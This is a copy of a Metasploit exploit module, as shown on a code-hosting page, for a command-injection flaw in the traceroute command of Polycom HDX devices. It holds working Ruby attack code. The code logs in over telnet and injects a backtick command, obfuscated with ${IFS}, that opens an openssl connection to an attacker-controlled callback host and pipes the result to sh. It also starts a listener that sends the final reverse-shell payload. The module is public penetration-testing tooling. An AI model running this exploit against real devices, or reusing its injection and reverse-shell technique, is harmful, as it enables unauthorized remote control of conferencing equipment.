Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
25111 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
16
'Description' => %q{
17
Within Polycom command shell, a command execution flaw exists in
18
lan traceroute, one of the dev commands, which allows for an
19
attacker to execute arbitrary payloads with telnet or openssl.
20
},
21
'Author' => [
22
'Mumbai',
23
'staaldraad', # https://twitter.com/_staaldraad/
24
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
25
'h00die <[email protected]>' # stole the code, creds to them
26
],
27
'References' => [
28
['CVE', '2025-34093'],
29
['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
30
],
31
'DisclosureDate' => '2017-11-12',
32
'License' => MSF_LICENSE,
33
'Platform' => 'unix',
34
'Arch' => ARCH_CMD,
35
'Stance' => Msf::Exploit::Stance::Aggressive,
36
'Targets' => [[ 'Automatic', {} ]],
37
'Payload' => {
38
'Space' => 8000,
39
'DisableNops' => true,
40
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl' }
41
},
42
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options(
53
[
54
Opt::RHOST(),
55
Opt::RPORT(23),
56
OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
57
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
58
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
59
]
60
)
61
end
62
63
def check
64
connect
65
Rex.sleep(1)
66
res = sock.get_once
67
disconnect
68
if !res && !res.empty?
69
return Exploit::CheckCode::Unknown
70
elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
71
return Exploit::CheckCode::Detected
72
end
73
74
Exploit::CheckCode::Unknown
75
end
76
77
def exploit
78
unless check == Exploit::CheckCode::Detected
79
fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
80
end
81
82
#
83
# Obtain banner information
84
#
85
sock = connect
86
Rex.sleep(2)
87
banner = sock.get_once
88
vprint_status("Received #{banner.length} bytes from service")
89
vprint_line("#{banner}")
90
if banner =~ /password/i
91
print_status("Authentication enabled on device, authenticating with target...")
92
if datastore['PASSWORD'].nil?
93
print_error("#{peer} - Please supply a password to authenticate with")
94
return
95
end
96
# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
97
sock.put("#{datastore['PASSWORD']}\n")
98
res = sock.get_once
99
if res =~ /Polycom/
100
print_good("#{peer} - Authenticated successfully with target.")
101
elsif res =~ /failed/
102
print_error("#{peer} - Invalid credentials for target.")
103
return
104
end
105
elsif banner =~ /Polycom/ # praise jesus
106
print_good("#{peer} - Device has no authentication, excellent!")
107
end
108
do_payload(sock)
109
end
110
111
def do_payload(sock)
112
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
113
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
114
115
# Start a listener
116
start_listener(true)
117
118
# Figure out the port we picked
119
cbport = self.service.getsockname[2]
120
cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
121
sock.put(cmd)
122
if datastore['VERBOSE']
123
Rex.sleep(2)
124
resp = sock.get_once
125
vprint_status("Received #{resp.length} bytes in response")
126
vprint_line(resp)
127
end
128
129
# Give time for our command to be queued and executed
130
1.upto(5) do
131
Rex.sleep(1)
132
break if session_created?
133
end
134
end
135
136
def stage_final_payload(cli)
137
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
138
cli.put(payload.encoded + "\n")
139
end
140
141
def start_listener(ssl = false)
142
comm = datastore['ListenerComm']
143
if comm == 'local'
144
comm = ::Rex::Socket::Comm::Local
145
else
146
comm = nil
147
end
148
149
self.service = Rex::Socket::TcpServer.create(
150
'LocalPort' => datastore['CBPORT'],
151
'SSL' => ssl,
152
'SSLCert' => datastore['SSLCert'],
153
'Comm' => comm,
154
'Context' =>
155
{
156
'Msf' => framework,
157
'MsfExploit' => self
158
}
159
)
160
161
self.service.on_client_connect_proc = proc { |client|
162
stage_final_payload(client)
163
}
164
165
# Start the listening service
166
self.service.start
167
end
168
169
# Shut down any running services
170
def cleanup
171
super
172
if self.service
173
print_status("Shutting down payload stager listener...")
174
begin
175
self.service.deref if self.service.is_a?(Rex::Service)
176
if self.service.is_a?(Rex::Socket)
177
self.service.close
178
self.service.stop
179
end
180
self.service = nil
181
rescue ::Exception
182
end
183
end
184
end
185
186
# Accessor for our TCP payload stager
187
attr_accessor :service
188
end
189
190